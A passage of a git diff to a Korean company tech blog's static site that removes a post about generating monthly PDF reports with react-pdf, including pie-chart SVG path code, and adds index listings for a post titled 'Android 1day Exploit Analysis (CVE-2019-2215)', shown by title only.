새롭게 배정받게 되었습니다. -디자인은 회사 대표 디자이너이신 재성님이 아주 아름답게 만들어주셨지만, 코드로 PDF를 만들거나 다뤄본 적이 없는 저는 막연한 두려움을 갖게 되었습니다.</p> - -<h2 id="왜-리뉴얼을-진행했나">왜 리뉴얼을 진행했나?</h2> - -<p>기존에 사용하던 코드로도 월말마다 회사 Jira에 저장되는 이슈들을 정리하여 메일로 보내기에는 충분했습니다. -하지만 프로젝트 코드가 관리가 잘 되지 않아서 새로운 디자인을 적용하고, 새로운 데이터를 뽑아내기 위해 이 코드를 처음부터 리딩하기는 조금 힘든 상황이였습니다. -특히, 주로 사용하는 언어도 다르기도 했구요.</p> - -<table> - <thead> - <tr> - <th><img src="/assets/2022-06-30-PDF-with-React/code-manage-not-good.png" alt="codemanage" style="max-width:800px; height:auto;" /></th> - </tr> - </thead> - <tbody> - <tr> - <td>코드 관리 절망편</td> - </tr> - </tbody> -</table> - -<p>따라서 저는 제가 주로 사용하는 Typescript와 React 기반으로 월간 레포트 시스템을 새로 만들기로 했습니다. 기존처럼 스크립트 형태로도 작성할 수 있지만, 예전에 보낸 레포트 조회나 이미지 변경 등을 개발자인 저 뿐만 아니라, 다른 분들도 플랫폼을 통해 확인할 수 있으면 더 좋을 것 같아서 웹 시스템으로 개발하기 위한 계획을 세웠습니다.</p> - -<h2 id="react-pdf">React-PDF</h2> - -<p>월간 레포트에서 사용하는 데이터는 저희 Jira와 Confluence에서 가져오게 됩니다. -사실 Jira나 Confluence에서 데이터를 불러오거나 페이지를 생성하는 <a href="https://github.com/mrrefactoring/jira.js/">API</a>는 너무나도 잘 되어있어서 큰 무리 없이 사용할 수 있었습니다.</p> - -<p>하지만, 가장 큰 문제는 역시 가져온 데이터를 기반으로 새로운 PDF 를 생성하는 과정이였습니다.</p> - -<p><img src="/assets/2022-06-30-PDF-with-React/react-pdf.png" alt="react-pdf" /></p> - -<p><a href="https://react-pdf.org/">react-pdf</a>는 React를 기반으로 PDF를 렌더링하거나 생성할 수 있는 라이브러리 입니다. -라이브러리에서 제공하는 <code class="language-plaintext highlighter-rouge">Document</code> 컴포넌트를 기반으로 PDF 파일을 렌더링하며, <code class="language-plaintext highlighter-rouge">StyleSheet</code>를 통해서 기존 jsx 처럼 글자나 뷰 자체에 스타일링을 할 수 있도록하는 다양하고 필수적인 기능을 포함하고 있습니다.</p> - -<p>또한 <code class="language-plaintext highlighter-rouge">svg</code>도 지원하기 때문에, 이미지나 차트 등도 쉽게 표현할 수 있습니다.</p> - -<p>그래서 저는 <code class="language-plaintext highlighter-rouge">react-pdf</code>를 기반으로 디자인된 PDF를 만들기 시작했습니다.</p> - -<h2 id="위기">위기</h2> - -<p>사실 <code class="language-plaintext highlighter-rouge">react-pdf</code>라는 라이브러리를 발견했을 때, 작업이 금방 끝날 줄 알았습니다. -하지만, 사용하다보니 생각하지 못한 몇 가지 문제점들을 마주하게 되었습니다.</p> - -<ol> - <li>Vite 환경에서 react-pdf가 잘 작동하지 않았습니다. - <ul> - <li><a href="https://github.com/vitejs/vite/issues/3405">issue</a></li> - <li>Vite에서 사용하기 위해서는 추가적으로 브라우저용 라이브러리를 추가해주어야 합니다.</li> - <li>이 <a href="https://github.com/exogee-technology/vite-plugin-shim-react-pdf">라이브러리</a> 로 해결했습니다.</li> - </ul> - </li> - <li>프론트엔드에서 pdf를 생성하다보니, 브라우저 콘솔에서 많은 에러가 발생했습니다. - <ul> - <li>클라이언트쪽에서 렌더링을 하는 과정에서 이슈가 있는 것 같았습니다.</li> - <li>다행히, 작동에는 이상이 없어서 우선 넘어가게 되었습니다.</li> - </ul> - </li> - <li>차트를 그리기가 조금 까다로웠습니다. - <ul> - <li>svg를 지원한다고 해서 <a href="https://nivo.rocks/">nivo</a>를 사용하려고 했는데, 구조상 <code class="language-plaintext highlighter-rouge">차트컴포넌트 -&gt; svg -&gt; react-pdf</code> 의 형식으로 쓰면 오류가 발생하는 바람에 결국 스스로 만들어서 썼습니다.</li> - </ul> - </li> -</ol> - -<p>특히, 마지막 3번이 저를 굉장히 괴롭히게 되었습니다.</p> - -<p>월간 레포트의 특성 상, 차트나 표가 대부분의 데이터를 이루고 있었습니다. -특히, 차트는 원형, 막대형 그래프 등 다양한 그래프를 사용할 예정이였기 때문에 작업에 지장이 있을 수 밖에 없었습니다.</p> - -<p>다행히, <code class="language-plaintext highlighter-rouge">react-pdf</code> 에서는 svg를 다루기 위한 여러 컴포넌트가 존재하고 있었습니다. -그 중에서 사용한 것은 <code class="language-plaintext highlighter-rouge">Path</code> 이였습니다.</p> - -<p>PieGraph를 만들 때, 전체 데이터 중에서 차지하는 부분의 각도와 반지름을 통해 각각의 좌표를 구했습니다.</p> - -<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">cX</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">cY</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">r</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> <span class="nx">degrees</span><span class="p">:</span> <span class="nx">number</span><span class="p">)</span> <span class="p">{</span> - <span class="kd">const</span> <span class="nx">rad</span> <span class="o">=</span> <span class="p">(</span><span class="nx">degrees</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">PI</span><span class="p">)</span> <span class="o">/</span> <span class="mf">180.0</span><span class="p">;</span> - <span class="k">return</span> <span class="p">{</span> - <span class="na">x</span><span class="p">:</span> <span class="nx">cX</span> <span class="o">+</span> <span class="nx">r</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">cos</span><span class="p">(</span><span class="nx">rad</span><span class="p">),</span> - <span class="na">y</span><span class="p">:</span> <span class="nx">cY</span> <span class="o">+</span> <span class="nx">r</span> <span class="o">*</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">sin</span><span class="p">(</span><span class="nx">rad</span><span class="p">),</span> - <span class="p">};</span> -<span class="p">}</span> - -<span class="kd">function</span> <span class="nx">toPieChartItemPath</span><span class="p">(</span> - <span class="nx">x</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">y</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">radiusIn</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">radiusOut</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">startAngle</span><span class="p">:</span> <span class="nx">number</span><span class="p">,</span> - <span class="nx">endAngle</span><span class="p">:</span> <span class="nx">number</span> -<span class="p">)</span> <span class="p">{</span> - <span class="nx">startAngle</span> <span class="o">+=</span> <span class="mi">270</span><span class="p">;</span> - <span class="nx">endAngle</span> <span class="o">+=</span> <span class="mi">270</span><span class="p">;</span> - <span class="kd">const</span> <span class="nx">startIn</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusIn</span><span class="p">,</span> <span class="nx">endAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">endIn</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusIn</span><span class="p">,</span> <span class="nx">startAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">startOut</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusOut</span><span class="p">,</span> <span class="nx">endAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">endOut</span> <span class="o">=</span> <span class="nx">_toXY</span><span class="p">(</span><span class="nx">x</span><span class="p">,</span> <span class="nx">y</span><span class="p">,</span> <span class="nx">radiusOut</span><span class="p">,</span> <span class="nx">startAngle</span><span class="p">);</span> - <span class="kd">const</span> <span class="nx">arcSweep</span> <span class="o">=</span> <span class="nx">endAngle</span> <span class="o">-</span> <span class="nx">startAngle</span> <span class="o">&lt;=</span> <span class="mi">180</span> <span class="p">?</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">;</span> - <span class="kd">const</span> <span class="nx">d</span> <span class="o">=</span> <span class="p">[</span> - <span class="dl">"</span><span class="s2">M</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">L</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">startOut</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">startOut</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">radiusOut</span><span class="p">,</span> - <span class="nx">radiusOut</span><span class="p">,</span> - <span class="mi">0</span><span class="p">,</span> - <span class="nx">arcSweep</span><span class="p">,</span> - <span class="mi">0</span><span class="p">,</span> - <span class="nx">endOut</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">endOut</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">L</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">endIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">endIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">,</span> - <span class="nx">radiusIn</span><span class="p">,</span> - <span class="nx">radiusIn</span><span class="p">,</span> - <span class="mi">0</span><span class="p">,</span> - <span class="nx">arcSweep</span><span class="p">,</span> - <span class="mi">1</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">x</span><span class="p">,</span> - <span class="nx">startIn</span><span class="p">.</span><span class="nx">y</span><span class="p">,</span> - <span class="dl">"</span><span class="s2">z</span><span class="dl">"</span><span class="p">,</span> - <span class="p">].</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2"> </span><span class="dl">"</span><span class="p">);</span> - <span class="k">return</span> <span class="nx">d</span><span class="p">;</span> -<span class="p">}</span> -</code></pre></div></div> - -<p>이를 Svg 안의 Path 객체로 선을 그리고, 그 안을 색으로 채워 그래프를 그릴 수 있게 했습니다. 코드는 다음과 같습니다.</p> - -<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">PieGraph</span><span class="p">:</span><span class="nx">React</span><span class="p">.</span><span class="nx">FC</span><span class="o">&lt;</span><span class="p">{</span><span class="na">datas</span><span class="p">:</span> <span class="nx">Data</span><span class="p">[]}</span><span class="o">&gt;</span> <span class="o">=</span> <span class="p">({</span><span class="nx">datas</span><span class="p">})</span> <span class="o">=&gt;</span> <span class="p">{</span> - <span class="k">return</span> <span class="o">&lt;</span><span class="nx">Svg</span> <span class="nx">width</span><span class="o">=</span><span class="dl">"</span><span class="s2">256</span><span class="dl">"</span> <span class="nx">height</span><span class="o">=</span><span class="dl">"</span><span class="s2">172</span><span class="dl">"</span><span class="o">&gt;</span> - <span class="p">{</span><span class="nx">data</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span> <span class="nx">idx</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">(</span> - <span class="o">&lt;</span><span class="nx">Path</span> - <span class="nx">key</span><span class="o">=</span><span class="p">{</span><span class="nx">item</span><span class="p">.</span><span class="nx">id</span><span class="p">}</span> - <span class="nx">d</span><span class="o">=</span><span class="p">{</span><span class="nx">toPieChartItemPath</span><span class="p">(</span><span class="mi">128</span><span class="p">,</span> <span class="mi">86</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">64</span><span class="p">,</span> <span class="nx">range</span><span class="p">[</span><span class="nx">idx</span><span class="p">],</span> <span class="nx">range</span><span class="p">[</span><span class="nx">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">])}</span> - <span class="nx">fill</span><span class="o">=</span><span class="p">{</span><span class="nx">colors</span><span class="p">[</span><span class="nx">item</span><span class="p">.</span><span class="nx">id</span><span class="p">]}</span> - <span class="sr">/</span><span class="err">&gt; -</span> <span class="p">))}</span> - <span class="o">&lt;</span><span class="sr">/Svg</span><span class="err">&gt; -</span><span class="p">}</span> -</code></pre></div></div> - -<p><strong>예시</strong></p> - -<p><img src="/assets/2022-06-30-PDF-with-React/chart.png" alt="chart" /></p> - -<p><code class="language-plaintext highlighter-rouge">PolyLine</code> 컴포넌트를 통해 외부에 퍼센트를 나타낼 수 있게도 구현하였습니다.</p> - -<p>이런 방식으로 PieGraph와 LineGraph도 그릴 수 있었습니다.</p> - -<p>아마도 <code class="language-plaintext highlighter-rouge">react-pdf</code>에서 일반적인 태그를 사용하지 않아서 nivo와 같은 차트 라이브러리들이 작동하지 않았을 것 같습니다.</p> - -<h2 id="결론">결론</h2> - -<p>이제는 제가 만든 새로운 코드를 기반으로 많은 고객사에 앱슈트 월간 레포트가 전달되고 있습니다.</p> - -<p>처음에 기획했던 기능들을 전부 넣지는 못했지만, 계속 업데이트를 해서 사내에서 가장 유용하게 사용하는 프로젝트가 되기를 바랍니다.</p>하준혁React로 pdf 다루기 \ No newline at end of file +</div>김도현Stealien Security Seminar 1회 리뷰 \ No newline at end of file diff --git a/docs/id/index.html b/docs/id/index.html index 2f4fab7..9d5156b 100644 --- a/docs/id/index.html +++ b/docs/id/index.html @@ -78,6 +78,30 @@
+
+
+ +
Minjoong Kim
+
+
+
+ +
+ Android 1day Exploit Analysis (CVE-2019-2215) +
+
+
Android 1day Exploit Analysis by Newbie
+ +
+
diff --git a/docs/index.html b/docs/index.html index a370fb8..c0ace9e 100644 --- a/docs/index.html +++ b/docs/index.html @@ -78,6 +78,30 @@
+
+
+ +
Minjoong Kim
+
+
+
+ +
+ Android 1day Exploit Analysis (CVE-2019-2215) +
+
+
Android 1day Exploit Analysis by Newbie
+ +
+